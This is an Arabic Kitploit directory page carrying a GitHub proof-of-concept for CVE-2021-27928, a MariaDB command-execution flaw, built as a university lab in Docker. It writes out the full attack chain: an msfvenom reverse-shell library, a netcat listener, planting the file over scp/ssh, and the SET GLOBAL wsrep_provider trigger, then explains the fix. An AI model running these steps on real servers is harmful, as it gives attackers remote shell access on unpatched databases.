Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-27928 — إثبات المفهوم لاستغلال الثغرة CVE-2021-27928 | Kitploit
أدوات/GitHubGitHub/laliea/cve-2021-27928
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالقيادة والسيطرةالتعلم والتعليمArchived
GitHublaliea/cve-2021-27928

CVE-2021-27928

إثبات المفهوم لاستغلال الثغرة CVE-2021-27928

عرض المستودع
2منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-27928

في هذا المستودع، ستجد دليلاً على إثبات المفهوم لاستغلال الثغرة CVE-2021-27928 من خلال حاوية دوكر.

root@kitploit:~
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
    MariaDB 10.2 before 10.2.37,
            10.3 before 10.3.28,
            10.4 before 10.4.18,
            10.5 before 10.5.9;
    Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

وصف الثغرة

يمكن تعديل متغيرات النظام wsrep_provider و wsrep_notify_cmd system في وقت التشغيل بواسطة مستخدم قاعدة بيانات يتمتع بامتيازات عليا، مما قد يؤدي إلى تنفيذ كود عن بُعد سيتم تنفيذه بهذه الامتيازات.

يأخذ المتغير الأول مساراً إلى مكتبة .so التي سيحاول الخادم فتحها باستخدام dlopen()، ويأخذ الثاني مساراً إلى السكريبت البرمجي الذي سينفذه الخادم. جعلها قابلة للكتابة يسمح لمستخدم قاعدة البيانات ذي الامتيازات العليا بتنفيذ كود عشوائي كمستخدم mysql للنظام.

في إثبات المفهوم هذا، سنستخدم msfvenom لإنشاء مكتبة .so التي ستحتوي على حمولتنا (في حالتنا، شل عكسية). ثم سننسخ هذا الملف على الجهاز الضعيف ونحدد هذا المسار في متغير wsrep_provider الذي سينفذ حمولتنا، مما يمنحنا الوصول إلى الجهاز الهدف كمستخدم يتمتع بامتيازات عليا (هنا مستخدم mysql) بفضل شلتنا العكسية.

بناء وتشغيل صورة الجهاز الضعيف

لهذه التجربة، ستحتاج إلى تثبيت حزم docker و msfvenom و openssh-client و mariadb على جهازك.

في هذا الإعداد، يعتمد الجهاز الهدف على صورة MariaDB 10.4.12 (التي تعاني من هذه الثغرة)، حيث يعمل خادم openssh بدون السماح بتسجيل الدخول كجذر. لذلك أنشأنا مستخدمًا غير جذر لك، myuser، بكلمة مرور mypassword.

بناء الصورة الضعيفة:

root@kitploit:~
docker build --rm=true -t mariadb-cve-2021-27928 .

تشغيل الجهاز الهدف:

root@kitploit:~
docker compose up

الاستغلال

إنشاء الحمولة: شل عكسية

الحمولة هي الملف الثنائي الذي نريد من الجهاز الهدف تنفيذه بمجرد اكتمال الاستغلال. هنا، نستخدم msfvenom لإنشاء حمولة شل عكسية على شكل مكتبة .so، مع عنوان IP الخاص بنا (LHOST) والمنفذ (LPORT) كمعاملات. في شاشة طرفية أخرى، قم بتشغيل:

root@kitploit:~
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so

عنوان IP LHOST هو المحدد في ملف docker-compose.yaml لبوابة الشبكة، في حالتنا المهاجم، أنت.

الاستماع للشل العكسية

في الخلفية، على شاشة طرفية ثالثة، سنستمع لأي اتصال وارد من الجهاز الهدف على المنفذ الذي من المفترض أن يتصل به.

root@kitploit:~
nc -lnvp 4444

المنفذ الذي نستمع عليه، 4444، هو الذي قمنا بتعيينه كـ LPORT عند إنشاء الحمولة.

إرسال الحمولة إلى الجهاز الضعيف

الآن، نحتاج إلى نسخ الحمولة التي أنشأناها سابقًا (payload-CVE-2021-27928.so) إلى الجهاز الهدف عبر ssh باستخدام الأمر scp، كمستخدم النظام غير الجذر myuser، الذي كلمة مروره mypassword:

root@kitploit:~
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so

نظرًا لأننا لا نستطيع نسخ ملف مباشرة عبر ssh إلى /usr/lib، يجب علينا الاتصال بالجهاز ونقله يدويًا إلى المكان الصحيح (تذكر أن كلمة مرور myuser هي mypassword):

root@kitploit:~
ssh [email protected]
root@kitploit:~
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
root@kitploit:~
exit

كان بإمكاننا رفع الحمولة إلى دليل آخر تحت اسم آخر مثل /tmp/exploit.so وتمرير هذا المسار كمسار للحمولة، ولكن نظرًا لأن الثغرة تم تصحيحها منذ ذلك الحين في جميع حزم mariadb، فقد تطلب استغلالها بعض التعديلات التي ستراها في نهاية هذا العرض.

تنفيذ الحمولة على الهدف من خلال استغلال الثغرة

الخطوة الأخيرة هي استغلال ثغرة MariaDB عن طريق إرسال طلب كمستخدم النظام الودود غير الجذر ولكن مسؤول قاعدة البيانات المختص الذي نحن عليه، مع طلب تعيين المتغير العام wsrep_provider على مسار حمولتنا.

root@kitploit:~
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"

هنا، يعني root "مدير" على مستوى قاعدة البيانات، وليس مستخدم "نظام الجذر". لذا فإن كلمة المرور هنا هي الموجودة في ملف docker-compose.yaml، MYSQL_ROOT_PASSWORD: myrootpwd.

أخيرًا، إذا عمل كل شيء كما هو متوقع، يمكننا رؤية في الشاشة الطرفية التي كنا نستمع فيها لأي اتصال وارد أن الجهاز الهدف قد اتصل بنا بنجاح، وأنه يمكننا تشغيل أوامر الشل. استمتع :)

الشل العكسية ليست فاخرة مثل الشل "التقليدية": لا يوجد اكتمال تلقائي، ولا موجه شل، ولا تاريخ، لذا الأمر متروك لك لمراقبة التنفيذ الصحيح لأوامرك. لذا، كمثال، لا تتردد في استخدام ls -la.

يمكنك تشغيل whoami على شاشة netcat الطرفية للتحقق من أنك مستخدم النظام mysql!

الإصلاح

وفقًا لـ Jira الخاص بـ MariaDB، يبدو أن هناك استخدامًا عمليًا ضئيلًا (أو معدومًا) لتعديل هذه المتغيرات في وقت التشغيل، فهي تُستخدم فقط في الاختبارات. بعد العثور على هذه الثغرة، كان الإصلاح هو جعلها للقراءة فقط، وهو إصلاح سهل وآمن، على حساب تعقيد بسيط في سكريبتات الاختبار.

لم يكن الأمر كذلك قبل ذلك، ولكن الآن، قيمة المسار الوحيدة التي يمكن أن يأخذها wsrep_provider هي /usr/lib/galera/libgalera_smm.so، ولهذا تطلب إثبات المفهوم هذا بعض التعديلات مثل منح صلاحيات الكتابة إلى مجلد /usr/lib/galera لكي نتمكن من رفع حمولتنا. وبالتالي، هذا التكوين معرض للخطأ طواعية في سياق هذا العرض، لكنه لم يعد قابلاً للاستخدام بهذه الطريقة على معظم الأنظمة الحالية.

المراجع

  • CVE
  • قضية خادم MariaDB على Jira
  • مثال ثغرة

تم تنفيذ هذا العمل كجزء من مقرر أمن نظم المعلومات في السنة الأخيرة من تخصص هندسة نظم المعلومات في Grenoble INP - Ensimag, UGA.

تنزيل الأداة